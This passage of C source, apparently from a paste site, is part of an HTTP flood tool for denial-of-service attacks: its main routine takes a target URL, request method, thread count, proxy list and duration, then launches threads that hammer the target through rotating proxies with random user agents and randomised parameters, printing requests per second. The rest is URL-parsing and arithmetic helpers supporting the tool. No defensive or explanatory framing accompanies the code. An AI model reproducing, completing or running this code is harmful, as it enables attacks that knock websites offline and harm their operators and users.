  673.             bzero(lastrandom, 16);
  674.             while((tmp = strstr(httppayload, "ANDOM%"))!=NULL)
  675.             {
  676.                 if(*(tmp-1) == 0x4C)
  677.                 {
  678.                     strncpy(tmp-2, lastrandom, 8);
  679.                 } else
  680.                 {
  681.                     *(tmp-2) = RND_CHAR;
  682.                     *(tmp-1) = RND_CHAR;
  683.                     *(tmp) = RND_CHAR;
  684.                     *(tmp+1) = RND_CHAR;
  685.                     *(tmp+2) = RND_CHAR;
  686.                     *(tmp+3) = RND_CHAR;
  687.                     *(tmp+4) = RND_CHAR;
  688.                     *(tmp+5) = RND_CHAR;
  689.                     strncpy(lastrandom, tmp-2, 8);
  690.                 }
  691.                
  692.             }
  693.             send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
  694.             free(httppayload);
  695.             bytes = 0;
  696.             buffer = malloc(4096);
  697.             bytes = recv(serverSocket, buffer, 4096, 0);
  698.             while(bytes > 0)
  699.             {
  700.                 bzero(buffer, 4096);
  701.                 bytes = recv(serverSocket, buffer, 4096, 0);
  702.             }
  703.         }
  704.         free(headerstatus);
  705.         free(buffer);
  706.         close(serverSocket);
  707.         rps++;
  708.         usleep(30000);
  709.         startpoint = startpoint->next;
  710.     }
  711. }
  712. pthread_t **threads = NULL;
  713. int main(int argc, char *argv[ ]) {
  714.     if(argc < 6 || !canRun()){
  715.         fprintf(stderr, "Invalid parameters!\n");
  716.         fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
  717.         exit(-1);
  718.     }
  719.     fprintf(stdout, "Setting up Sockets...\n");
  720.     int num_threads = atoi(argv[3]);
  721.     char *method = argv[2];
  722.     if(!(strcmp(method, "GET")==0 || strcmp(method, "HEAD")==0|| strcmp(method, "POST")==0))
  723.     {
  724.         fprintf(stderr, "Invalid parameters!\n");
  725.         fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
  726.         exit(-1);
  727.     }
  728.     FILE *pFile = fopen(argv[4], "rb");
  729.     if(pFile==NULL)
  730.     {
  731.         perror("fopen"); exit(1);
  732.     }
  733.     fseek(pFile, 0, SEEK_END);
  734.     long lSize = ftell(pFile);
  735.     rewind(pFile);
  736.     char *buffer = (char *)malloc(lSize*sizeof(char));
  737.     fread(buffer, 1, lSize, pFile);
  738.     fclose (pFile);
  739.     int i=0;
  740.     char *pch = (char *)strtok(buffer, ":");
  741.     while(pch != NULL)
  742.     {
  743.         if(head == NULL)
  744.         {
  745.             head = (struct list *)malloc(sizeof(struct list));
  746.             bzero(head, sizeof(struct list));
  747.             head->data = (struct proxy *)malloc(sizeof(struct proxy));
  748.             bzero(head->data, sizeof(struct proxy));
  749.             head->data->working = 1;
  750.             head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
  751.             pch = (char *)strtok(NULL, ":");
  752.             if(pch == NULL) exit(-1);
  753.             head->data->port = atoi(pch);
  754.             pch = (char *)strtok(NULL, ":");
  755.             head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
  756.             pch = (char *)strtok(NULL, ":");
  757.             head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  758.             head->next = head;
  759.             head->prev = head;
  760.         } else {
  761.             struct list *new_node = (struct list *)malloc(sizeof(struct list));
  762.             bzero(new_node, sizeof(struct list));
  763.             new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
  764.             bzero(new_node->data, sizeof(struct proxy));
  765.             new_node->data->working = 1;
  766.             new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
  767.             pch = (char *)strtok(NULL, ":");
  768.             if(pch == NULL) break;
  769.             new_node->data->port = atoi(pch);
  770.             pch = (char *)strtok(NULL, ":");
  771.             new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
  772.             pch = (char *)strtok(NULL, ":");
  773.             new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  774.             new_node->prev = head;
  775.             new_node->next = head->next;
  776.             head->next = new_node;
  777.         }
  778.     }
  779.     free(buffer);
  780.     const rlim_t kOpenFD = 1024 + (num_threads * 2);
  781.     struct rlimit rl;
  782.     int result;
  783.     rl.rlim_cur = kOpenFD;
  784.     rl.rlim_max = kOpenFD;
  785.     result = setrlimit(RLIMIT_NOFILE, &rl);
  786.     if (result != 0)
  787.     {
  788.         perror("setrlimit");
  789.         fprintf(stderr, "setrlimit returned result = %d\n", result);
  790.     }
  791.     bzero(&rl, sizeof(struct rlimit));
  792.     rl.rlim_cur = 256 * 1024;
  793.     rl.rlim_max = 4096 * 1024;
  794.     result = setrlimit(RLIMIT_STACK, &rl);
  795.     if (result != 0)
  796.     {
  797.         perror("setrlimit_stack");
  798.         fprintf(stderr, "setrlimit_stack returned result = %d\n", result);
  799.     }
  800.     setupparts();
  801.     parseURL(argv[1], returnparts);
  802.     if(argc > 6 && !(strcmp(argv[6], "0") == 0))
  803.     {
  804.         ipstr = malloc(strlen(argv[6])+1);
  805.         bzero(ipstr, strlen(argv[6])+1);
  806.         strcpy(ipstr, argv[6]);
  807.         fprintf(stdout, "Using manual IP...\n");
  808.     } else {
  809.         struct hostent *he;
  810.         struct in_addr a;
  811.         he = gethostbyname(returnparts[host]->value);
  812.         if (he)
  813.         {
  814.             while (*he->h_addr_list)
  815.             {
  816.                 bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
  817.                 ipstr = malloc(INET_ADDRSTRLEN+1);
  818.                 inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
  819.                 break;
  820.             }
  821.         }
  822.         else
  823.         { herror("gethostbyname"); }
  824.     }
  825.     char *postdata = malloc(1);
  826.     bzero(postdata, 1);
  827.     char *extrahead = malloc(1);
  828.     bzero(extrahead, 1);
  829.     if(argc > 7)
  830.     {
  831.         fprintf(stdout, "Using post parameters\n");
  832.         free(postdata);
  833.         free(extrahead);
  834.         postdata = argv[7];
  835.         extrahead = malloc(4096);
  836.         bzero(extrahead, 4096);
  837.         sprintf(extrahead, "Content-Length: %d\r\nContent-Type: application/x-www-form-urlencoded\r\n", strlen(postdata));
  838.     }
  839.     threads = malloc((num_threads + 1) * sizeof(pthread_t *));
  840.     bzero(threads, (num_threads + 1) * sizeof(pthread_t *));
  841.     postpayload = malloc(4096);
  842.     urll = argv[1];
  843.     sprintf(postpayload, postformat, method, returnparts[path]->value, returnparts[host]->value, extrahead, postdata);
  844.     freeparts();
  845.     fprintf(stdout, "Starting Flood...\n");
  846.     for(i = 0;i<num_threads;i++){
  847.         *(threads + i) = malloc(sizeof(pthread_t));
  848.         bzero(*(threads + i), sizeof(pthread_t));
  849.         pthread_create(*(threads + i), NULL, &flood, (void *)head);
  850.         head = head->next;
  851.     }
  852.     int temp = atoi(argv[5]);
  853.     for(i = 0;i<temp;i++)
  854.     {
  855.         sleep(1);
  856.         printf("R/s: %d\n", rps);
  857.         rps = 0;
  858.     }
  859.     exit(0);
  860. }
  861. char *geturl(char *url, char *useragent, char *ip)
  862. {
  863. RETRY:
  864.     setupparts();
  865.     parseURL(url, returnparts);
  866.     struct sockaddr_in serverAddr;
  867.     bzero(&serverAddr, sizeof(serverAddr));
  868.     serverAddr.sin_family = AF_INET;
  869.     serverAddr.sin_port = htons(ATTACKPORT);
  870.     serverAddr.sin_addr.s_addr = inet_addr(ip);
  871.     int serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  872.     unsigned int yes = 1;
  873.     setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes));
  874.     if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  875.     {
  876.         printf("GETURL CONNECT FAILED, RETRYING\n");
  877.         close(serverSocket);
  878.         freeparts();
  879.         goto RETRY;
  880.     }
  881.     int bytes = 0;
  882.     char *payload = malloc(8094);
  883.     bzero(payload, 8094);
  884.     sprintf(payload, "GET /%s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\nUser-Agent: %s\r\n\r\n", returnparts[path]->value, returnparts[host]->value, useragent);
  885.     freeparts();
  886.     bytes = send(serverSocket, payload, strlen(payload), MSG_NOSIGNAL);
  887.     if(bytes == -1)
  888.     {
  889.         printf("GETURL SEND FAILED, SITE CLOSED CONNECTION, RETRYING\n");
  890.         close(serverSocket);
  891.         goto RETRY;
  892.     }
  893.     int total = 0;
  894.     int currentsize = 4096;
  895.     char *buffer = malloc(4096);
  896.     bzero(buffer, 4096);
  897.     bytes = recv(serverSocket, buffer, 4096, 0);
  898.     while(bytes > 0)
  899.     {
  900.         total += bytes;
  901.         if(total+4096 > currentsize)
  902.         {
  903.             char *new_buffer = malloc(total+4096);
  904.             bzero(new_buffer, total+4096);
  905.             memcpy(new_buffer, buffer, total);
  906.             free(buffer);
  907.             buffer = new_buffer;
  908.             currentsize = total+4096;
  909.         }
  910.         bytes = recv(serverSocket, buffer+total, 4096, 0);
  911.     }
  912.     return buffer;
  913. }
  914. char *stristr(const char *String, const char *Pattern)
  915. {
  916.     char *pptr, *sptr, *start;
  917.     uint slen, plen;
  918.     for (start = (char *)String,
  919.     pptr = (char *)Pattern,
  920.     slen = strlen(String),
  921.     plen = strlen(Pattern);
  922.     slen >= plen;
  923.     start++, slen--)
  924.     {
  925.        
  926.         while (toupper(*start) != toupper(*Pattern))
  927.         {
  928.             start++;
  929.             slen--;
  930.            
  931.             if (slen < plen)
  932.             return(NULL);
  933.         }
  934.         sptr = start;
  935.         pptr = (char *)Pattern;
  936.         while (toupper(*sptr) == toupper(*pptr))
  937.         {
  938.             sptr++;
  939.             pptr++;
  940.            
  941.             if ('\0' == *pptr)
  942.             return (start);
  943.         }
  944.     }
  945.     return(NULL);
  946. }
  947. void freeparts()
  948. {
  949.     return;
  950.     if(returnparts[0]!=NULL) { free(returnparts[0]); }
  951.     if(returnparts[1]!=NULL) { free(returnparts[1]); }
  952.     if(returnparts[2]!=NULL) { free(returnparts[2]); }
  953.     if(returnparts[3]!=NULL) { free(returnparts[3]); }
  954.     if(returnparts[4]!=NULL) { free(returnparts[4]); }
  955.     if(returnparts[5]!=NULL) { free(returnparts[5]); }
  956.     if(returnparts[6]!=NULL) { free(returnparts[6]); }
  957.     if(returnparts[7]!=NULL) { free(returnparts[7]); }
  958.     /*if(returnparts[8]!=NULL) { free(returnparts[8]); }*/
  959.     return;
  960. }
  961. void setupparts()
  962. {
  963.     returnparts[0] = malloc(sizeof(struct urlparts));
  964.     returnparts[1] = malloc(sizeof(struct urlparts));
  965.     returnparts[2] = malloc(sizeof(struct urlparts));
  966.     returnparts[3] = malloc(sizeof(struct urlparts));
  967.     returnparts[4] = malloc(sizeof(struct urlparts));
  968.     returnparts[5] = malloc(sizeof(struct urlparts));
  969.     returnparts[6] = malloc(sizeof(struct urlparts));
  970.     returnparts[7] = malloc(sizeof(struct urlparts));
  971.     /*returnparts[8] = malloc(sizeof(struct urlparts));*/
  972.     bzero(returnparts[0], sizeof(struct urlparts));
  973.     bzero(returnparts[1], sizeof(struct urlparts));
  974.     bzero(returnparts[2], sizeof(struct urlparts));
  975.     bzero(returnparts[3], sizeof(struct urlparts));
  976.     bzero(returnparts[4], sizeof(struct urlparts));
  977.     bzero(returnparts[5], sizeof(struct urlparts));
  978.     bzero(returnparts[6], sizeof(struct urlparts));
  979.     bzero(returnparts[7], sizeof(struct urlparts));
  980.     /*bzero(returnparts[8], sizeof(struct urlparts));*/
  981.     returnparts[0]->name = "scheme";
  982.     strcpy(returnparts[0]->separator, ":");
  983.     returnparts[1]->name = "userid";
  984.     strcpy(returnparts[1]->separator, "@");
  985.     returnparts[2]->name = "password";
  986.     strcpy(returnparts[2]->separator, ":");
  987.     returnparts[3]->name = "host";
  988.     strcpy(returnparts[3]->separator, "//");
  989.     returnparts[4]->name = "port";
  990.     strcpy(returnparts[4]->separator, ":");
  991.     returnparts[5]->name = "path";
  992.     strcpy(returnparts[5]->separator, "/");
  993.     returnparts[6]->name = "param";
  994.     strcpy(returnparts[6]->separator, ";");
  995.     /*returnparts[7]->name = "query";
  996.     strcpy(returnparts[7]->separator, "?");*/
  997.     returnparts[7]->name = "fragment";
  998.     strcpy(returnparts[7]->separator, "#");
  999.     return;
  1000. }
  1001. int parseURL(char *url, struct urlparts **returnpart) {
  1002.     register i;
  1003.     int seplen;
  1004.     char * remainder;
  1005.     //char * regall = ":/;?#";
  1006.     char * regall = ":/;#";
  1007.     //char * regpath = ":;?#";
  1008.     char * regpath = ":;#";
  1009.     char * regx;
  1010.     if(!*url)
  1011.     {
  1012.         strcpy(parseError, "nothing to do!\n");
  1013.         return 0;
  1014.     }
  1015.     if((remainder = malloc(strlen(url) + 1)) == NULL)
  1016.     {
  1017.         printf("cannot allocate memory\n");
  1018.         exit(-1);
  1019.     }
  1020.     strcpy(remainder, url);
  1021.     if(firstpunc(remainder) == ':')
  1022.     {
  1023.         strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
  1024.         strleft(remainder, 1);
  1025.     }
  1026.     if (!strcmp(returnpart[scheme]->value, "mailto"))
  1027.     *(returnpart[host]->separator) = 0;
  1028.     for(i = 0; i < NUMPARTS; i++)
  1029.     {
  1030.         if(!*remainder)
  1031.         break;
  1032.         if(i == scheme || i == userid || i == password)
  1033.         continue;
  1034.         if(i == host && strchr(remainder, '@'))
  1035.         {
  1036.             if(!strncmp(remainder, "//", 2))
  1037.             strleft(remainder, 2);
  1038.             strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
  1039.             strleft(remainder, 1);
  1040.             if(strchr(remainder, '@'))
  1041.             {
  1042.                 strcpy(returnpart[password]->value, strsplit(remainder, "@"));
  1043.                 strleft(remainder, 1);
  1044.             }
  1045.             *(returnpart[host]->separator) = 0;
  1046.         }
  1047.         if(i == path && (! *(returnpart[scheme]->value)))
  1048.         {
  1049.             *(returnpart[path]->separator) = 0;
  1050.             strcpy(returnpart[scheme]->value, "http");
  1051.         }
  1052.         regx = (i == path) ? regpath : regall ;
  1053.         seplen = strlen(returnpart[i]->separator);
  1054.         if(strncmp(remainder, returnpart[i]->separator, seplen))
  1055.         continue;
  1056.         else
  1057.         strleft(remainder, seplen);
  1058.         strcpy(returnpart[i]->value, strsplit(remainder, regx));
  1059.     }
  1060.     if(*remainder)
  1061.     sprintf(parseError, "I don't understand '%s'", remainder);
  1062.     free(remainder);
  1063.     return 0;
  1064. }
  1065. char *str_replace(char *orig, char *rep, char *with) {
  1066.     char *result;
  1067.     char *ins;    
  1068.     char *tmp;    
  1069.     int len_rep;  
  1070.     int len_with;
  1071.     int len_front;
  1072.     int count;    
  1073.     if (!orig)
  1074.     return NULL;
  1075.     if (!rep || !(len_rep = strlen(rep)))
  1076.     return NULL;
  1077.     if (!(ins = strstr(orig, rep)))
  1078.     return NULL;
  1079.     if (!with)
  1080.     with = "";
  1081.     len_with = strlen(with);
  1082.     for (count = 0; tmp = strstr(ins, rep); ++count) {
  1083.         ins = tmp + len_rep;
  1084.     }
  1085.     tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
  1086.     if (!result)
  1087.     return NULL;
  1088.     while (count--) {
  1089.         ins = strstr(orig, rep);
  1090.         len_front = ins - orig;
  1091.         tmp = strncpy(tmp, orig, len_front) + len_front;
  1092.         tmp = strcpy(tmp, with) + len_with;
  1093.         orig += len_front + len_rep;
  1094.     }
  1095.     strcpy(tmp, orig);
  1096.     return result;
  1097. }
  1098. char * strsplit(char * s, char * tok) {
  1099. #define OUTLEN (255)
  1100.     register i, j;
  1101.     static char out[OUTLEN + 1];
  1102.     for(i = 0; s[i] && i < OUTLEN; i++)
  1103.     {
  1104.         if(strchr(tok, s[i]))
  1105.         break;
  1106.         else
  1107.         out[i] = s[i];
  1108.     }
  1109.     out[i] = 0;
  1110.     if(i && s[i])
  1111.     {
  1112.         for(j = 0; s[i]; i++, j++) s[j] = s[i];
  1113.         s[j] = 0;
  1114.     }
  1115.     else if (!s[i])
  1116.     *s = 0;
  1117.     return out;
  1118. }
  1119. char firstpunc(char * s) {
  1120.     while(*s++)
  1121.     if(!isalnum(*s)) return *s;
  1122.     return 0;
  1123. }
  1124. int strleft(char * s, int n) {
  1125.     int l;
  1126.     l = strlen(s);
  1127.     if(l < n)
  1128.     return -1;
  1129.     else if (l == n)
  1130.     *s = 0;
  1131.     memmove(s, s + n, l - n + 1);
  1132.     return n;
  1133. }
  1134. //BEGIN COMPLICATED MATH STUFF
  1135. int evalmath(char *input)
  1136. {
  1137.     char *output = malloc((strlen(input)*2)+1);
  1138.     memset(output, 0, (strlen(input)*2)+1);
  1139.     struct stack
  1140.     {
  1141.         int data[40];
  1142.         int top;
  1143.     } X;
  1144.     char *i = input;
  1145.     char *p = output;
  1146.     char n1;
  1147.     X.top = -1;
  1148.     int debugstack = 0;
  1149.    
  1150.     int prio(char op)
  1151.     {
  1152.         int pri = 0;
  1153.         if(op == '*' || op == '/' || op =='%')
  1154.             pri = 2;
  1155.         else
  1156.         {
  1157.             if(op == '+' || op == '-')
  1158.                 pri = 1;
  1159.         }
  1160.         return pri;
  1161.     }
  1162.    
  1163.     void push(int num)
  1164.     {
  1165.         if(X.top != 39)
  1166.         {
  1167.             if(debugstack) printf("push'd %d\n", num);
  1168.             ++X.top;
  1169.             X.data[X.top]=num;
  1170.         }
  1171.     }
  1172.  
  1173.     int pop()
  1174.     {
  1175.         int popd=(int)-1;
  1176.         if(X.top != -1)
  1177.         {
  1178.             popd= X.data[X.top];
  1179.             --X.top;
  1180.         }
  1181.         if(debugstack) printf("pop'd %d\n", popd);
  1182.         return popd;
  1183.     }
  1184.    
  1185.     while(*i)
  1186.     {
  1187.         while(*i == ' ' || *i == '\t')
  1188.         {
  1189.             i++;
  1190.         }
  1191.         if( isdigit(*i) || isalpha(*i) )
  1192.         {
  1193.             while( isdigit(*i) || isalpha(*i))
  1194.             {
  1195.                 *p = *i;
  1196.                 p++;
  1197.                 i++;
  1198.             }
  1199.             *p = ' ';
  1200.             p++;
  1201.         }
  1202.         if( *i == '(' )
  1203.         {
  1204.             push(*i);
  1205.             i++;
  1206.         }
  1207.         if( *i == ')')
  1208.         {
  1209.             n1 = pop();
  1210.             while( n1 != '(' )
  1211.             {
  1212.                 *p = n1;
  1213.                 p++;
  1214.                 *p = ' ';
  1215.                 p++;
  1216.                 n1 = pop();
  1217.             }
  1218.             i++;
  1219.         }
  1220.         if(*i == '+' || *i == '-' || *i == '*' || *i == '/' || *i == '%')
  1221.         {
  1222.             if(X.top == -1)
  1223.             {
  1224.                 push(*i);
  1225.             }
  1226.             else
  1227.             {
  1228.                 n1 = pop();
  1229.                 while(prio(n1) >= prio(*i))
  1230.                 {
  1231.                     *p = n1;
  1232.                     p++;
  1233.                     *p = ' ';
  1234.                     p++;
  1235.                     n1 = pop();
  1236.                 }
  1237.                 push(n1);
  1238.                 push(*i);
  1239.             }
  1240.             i++;
  1241.         }
  1242.     }
  1243.     while(X.top != -1)
  1244.     {
  1245.         n1 = pop();
  1246.         *p = n1;
  1247.         p++;
  1248.         *p = ' ';
  1249.         p++;
  1250.     }
  1251.     *p = '\0';
  1252.    
  1253.     memset(&X, 0, sizeof(X));
  1254.    
  1255.     X.top = -1;
  1256.    
  1257.     //debugstack = 1;
  1258.    
  1259.     char *outorig = output;
  1260.    
  1261.     while(*output)
  1262.     {
  1263.         while(*output == ' ') output++;
  1264.         if(*output == '\0') return pop();
  1265.         if(!isdigit(*output))
  1266.         {
  1267.             int op2;
  1268.             int match = 0;
  1269.             if(debugstack) printf("op %c\n", *output);
  1270.             switch(*output) {
  1271.             case '+':
  1272.                 push(pop() + pop());
  1273.                 match = 1;
  1274.                 break;
  1275.             case '*':
  1276.                 push(pop() * pop());
  1277.                 match = 1;
  1278.                 break;
  1279.             case '-':
  1280.                 push(pop() - pop());
  1281.                 match = 1;
  1282.                 break;
  1283.             case '/':
  1284.                 op2 = pop();
  1285.                 push(pop() / op2);
  1286.                 match = 1;
  1287.                 break;
  1288.             }
  1289.             if(match) output++; continue;
  1290.         }
  1291.         int n = *output - '0';
  1292.         output++;
  1293.         while(isdigit(*output))
  1294.         {
  1295.             n = 10 * n + *output - '0';
  1296.             output++;
  1297.         }
  1298.         push(n);
  1299.         if(*output == '\0') return pop();
  1300.         output++;
  1301.     }
  1302.    
  1303.     free(outorig);
  1304.    
  1305.     return pop();
  1306. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement